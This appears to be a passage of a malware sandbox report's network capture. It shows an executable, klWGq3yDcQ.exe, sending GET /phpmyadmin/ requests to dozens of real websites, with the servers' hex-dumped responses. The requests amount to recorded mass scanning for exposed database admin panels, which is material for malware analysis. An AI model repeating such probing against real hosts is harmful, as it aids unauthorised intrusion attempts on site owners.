2023-11-26 05:59:30 UTC	14658	IN	Data Raw: 52 65 73 65 61 72 63 68 20 53 6f 6c 75 74 69 6f 6e 73 3c 2f 70 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 65 64 75 63 61 74 69 6f 6e 61 6c 2d 73 6f 6c 75 74 69 6f 6e 73 2d 70 61 67 65 2f 6d 61 6b 65 72 73 70 61 63 65 2f 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 77 68 69 74 65 20 61 6c 69 67 6e 2d 63 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 62 74 6e 2d 74 65 78 74 22 3e 4d 61 6b 65 72 73 70 61 63 65 3c 2f 70 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 Data Ascii: Research Solutions</p></a><a href="/educational-solutions-page/makerspace/" class="btn white align-c"><p class="btn-text">Makerspace</p></a></div></div></div>
2023-11-26 05:59:30 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	55227	185.230.63.186	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:30 UTC	193	OUT	GET /phpmyadmin/ HTTP/1.1 Host: 2brosandahosepressurewashing.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:30 UTC	830	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 6c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 32 62 72 6f 73 70 77 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 0d 0a 73 74 72 69 63 74 2d 74 72 61 6e 73 70 6f 72 74 2d 73 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 78 2d 77 69 78 2d 72 65 71 75 65 73 74 2d 69 64 3a 20 31 37 30 30 39 37 38 33 37 30 2e 36 35 39 31 30 33 36 33 33 35 33 36 39 31 32 38 38 32 37 0d 0a 41 67 65 3a 20 30 0d 0a 53 65 72 Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:30 GMTContent-Length: 0Connection: closelocation: https://www.2brospw.com/phpmyadminstrict-transport-security: max-age=3600x-wix-request-id: 1700978370.6591036335369128827Age: 0Ser

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	55174	45.40.150.54	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:30 UTC	175	OUT	GET /phpmyadmin/ HTTP/1.1 Host: engel-firm.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:30 UTC	209	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 53 65 72 76 65 72 3a 20 6f 70 65 6e 72 65 73 74 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 78 2d 62 61 63 6b 65 6e 64 3a 20 64 65 6e 79 5f 62 61 63 6b 65 6e 64 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f 6d 61 69 6e 73 0d 0a 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenServer: openrestyDate: Sun, 26 Nov 2023 05:59:32 GMTContent-Length: 0Connection: closex-backend: deny_backendStrict-Transport-Security: max-age=31536000; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	53670	185.135.132.105	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:30 UTC	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:31 UTC	341	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 32 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:30 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 323Connection: closeLocation: http://www.grantstech.io/phpmyadmin/Cache-Control: max-age=0Expires: Sun, 26 Nov 2023 0
2023-11-26 05:59:31 UTC	323	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.grantstech.io/phpmyadmin/">here</a>.</p><hr><address>Apache/2.4.5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	55230	194.47.252.115	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:30 UTC	172	OUT	GET /phpmyadmin/ HTTP/1.1 Host: maxiv.lu.se Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:31 UTC	119	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 63 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3a 20 30 0d 0a 6c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 0d 0a 63 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved Permanentlycontent-length: 0location: https://www.maxiv.lu.se/phpmyadmin/connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	55292	3.33.130.190	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:30 UTC	172	OUT	GET /phpmyadmin/ HTTP/1.1 Host: gmailvz.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:30 UTC	719	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6f 70 65 6e 72 65 73 74 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 31 37 37 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 4d 6f 6e 2c 20 31 33 20 4e 6f 76 20 32 30 32 33 20 32 33 3a 33 35 3a 30 36 20 47 4d 54 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 54 61 67 3a 20 22 36 35 35 32 62 32 61 61 2d 34 39 39 22 0d 0a 58 2d 41 64 62 6c 6f 63 6b 2d 4b 65 79 3a 20 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 Data Ascii: HTTP/1.1 200 OKServer: openrestyDate: Sun, 26 Nov 2023 05:59:30 GMTContent-Type: text/htmlContent-Length: 1177Last-Modified: Mon, 13 Nov 2023 23:35:06 GMTConnection: closeETag: "6552b2aa-499"X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBA
2023-11-26 05:59:30 UTC	1177	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	55269	99.81.150.60	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:30 UTC	177	OUT	GET /phpmyadmin/ HTTP/1.1 Host: harasduberry.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:31 UTC	348	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 6c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 68 61 72 61 73 64 75 62 65 72 72 79 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:31 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecache-control: no-cache, no-store, must-revalidatelocation: https://www.harasduberry.com/phpmyadm
2023-11-26 05:59:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	55326	162.210.96.117	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:30 UTC	183	OUT	GET /phpmyadmin/ HTTP/1.1 Host: coralparkchristian.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:31 UTC	281	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 56 61 72 79 3a 20 61 63 63 65 70 74 2d 6c 61 6e 67 75 61 67 65 2c 61 63 63 65 70 74 2d 63 68 61 72 73 65 74 2c 55 73 65 72 2d 41 67 65 6e 74 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:30 GMTServer: ApacheVary: accept-language,accept-charset,User-AgentUpgrade: h2Connection: Upgrade, closeAccept-Ranges: bytesTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8
2023-11-26 05:59:31 UTC	1098	IN	Data Raw: 63 38 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f Data Ascii: c8<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="een" xml:lang="13en"><head><title>38O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	55288	162.144.64.233	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:30 UTC	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: tcetmumbai.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:31 UTC	166	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 37 36 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:31 GMTServer: ApacheAccept-Ranges: bytesContent-Length: 764Connection: closeContent-Type: text/html
2023-11-26 05:59:31 UTC	764	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 3c 73 74 79 6c 65 3e 0d 0a 68 31 7b 0d 0a 66 6f 6e 74 2d 73 69 7a 65 3a 38 30 70 78 3b 0d 0a 66 6f 6e 74 2d 77 65 69 67 68 74 3a 38 30 30 3b 0d 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0d 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 7d 0d 0a 68 32 0d 0a 7b 0d 0a 66 6f 6e 74 2d 73 69 7a 65 3a 32 35 70 78 3b Data Ascii: <html><head><title>404 Error</title><link href="https://fonts.googleapis.com/css?family=Roboto:700" rel="stylesheet"><style>h1{font-size:80px;font-weight:800;text-align:center;font-family: 'Roboto', sans-serif;}h2{font-size:25px;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	55239	72.167.58.161	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:30 UTC	172	OUT	GET /phpmyadmin/ HTTP/1.1 Host: webstamp.ca Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:30 UTC	275	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e 73 65 63 75 72 65 2d 72 65 71 75 65 73 74 73 3b 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:30 GMTServer: ApacheContent-Security-Policy: upgrade-insecure-requests;Upgrade: h2,h2cConnection: Upgrade, closeAccept-Ranges: bytesVary: Accept-EncodingTransfer-Encoding: chunkedContent
2023-11-26 05:59:30 UTC	648	IN	Data Raw: 32 37 63 0d 0a 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 4f 4f 50 53 21 20 53 6f 6d 65 74 68 69 6e 67 20 77 65 6e 74 20 77 72 6f 6e 67 2e 20 54 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 68 61 73 20 62 65 65 6e 20 0d 0a 72 65 6d 6f 76 65 64 20 6f 72 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 64 65 72 20 6d 61 69 6e 74 65 6e 61 6e 63 65 2e 0d 0a 46 65 65 6c 20 66 72 65 65 20 74 6f 20 72 65 61 64 20 74 68 65 20 6d 61 6e 79 20 6f 74 68 65 72 20 61 72 74 69 63 6c 65 73 20 61 76 61 69 6c 61 62 6c 65 20 61 74 20 0d 0a 68 74 74 70 73 3a 2f 2f 77 65 62 73 74 61 6d 70 2e 63 61 0d 0a 3c 21 2d 2d 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 27c/phpmyadmin/OOPS! Something went wrong. The page you requested has been removed or is currently under maintenance.Feel free to read the many other articles available at https://webstamp.ca...

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	55181	15.236.29.106	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:30 UTC	173	OUT	GET /phpmyadmin/ HTTP/1.1 Host: quipuapp.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:31 UTC	247	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 36 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 67 65 74 71 75 69 70 75 2e 63 6f 6d 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f 6d 61 69 6e 73 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxDate: Sun, 26 Nov 2023 05:59:30 GMTContent-Type: text/htmlContent-Length: 162Connection: closeLocation: https://getquipu.comStrict-Transport-Security: max-age=31536000; includeSubDomains
2023-11-26 05:59:31 UTC	162	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	55123	120.88.73.238	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:30 UTC	245	OUT	GET /login/?page=%2Fphpmyadmin%2F HTTP/1.1 Host: my.calvary.qld.edu.au Accept: / Accept-Encoding: deflate, gzip Cookie: PHPSESSID=unid3p469s9hj2a6pka8sch23r User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
